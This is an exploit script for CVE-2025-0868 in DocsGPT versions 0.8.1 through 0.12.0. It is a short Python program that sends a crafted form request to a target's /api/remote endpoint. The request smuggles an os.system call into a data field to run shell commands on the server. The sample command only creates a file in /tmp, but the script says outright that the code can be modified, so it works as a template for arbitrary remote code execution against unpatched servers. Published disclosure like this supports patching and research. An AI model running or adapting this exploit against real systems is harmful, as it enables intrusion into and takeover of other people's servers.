DocsGPT 0.12.0 - Remote Code Execution

# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution
# Date: 09/04/2025
# Exploit Author: Shreyas Malhotra (OSMSEC)
# Vendor Homepage: https://github.com/arc53/docsgpt
# Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip
# Version: 0.8.1 through 0.12.0
# Tested on: Debian Linux/Ubuntu Linux/Kali Linux
# CVE: CVE-2025-0868

import requests
 
# TARGET CONFIG
TARGET = "http://10.0.2.15:7091"  # Change this
 
# Malicious payload string - carefully escaped - modify the python code if necessary
malicious_data = (
    'user=1&source=reddit&name=other&data={"source":"reddit",'
    '"client_id":"1111","client_secret":1111,"user_agent":"111",'
    '"search_queries":[""],"number_posts":10,'
    '"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'
)
 
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
 
try:
    response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)
    print(f"[+] Status Code: {response.status_code}")
    print("[+] Response Body:")
    print(response.text)
except Exception as e:
    print(f"[-] Error sending request: {e}")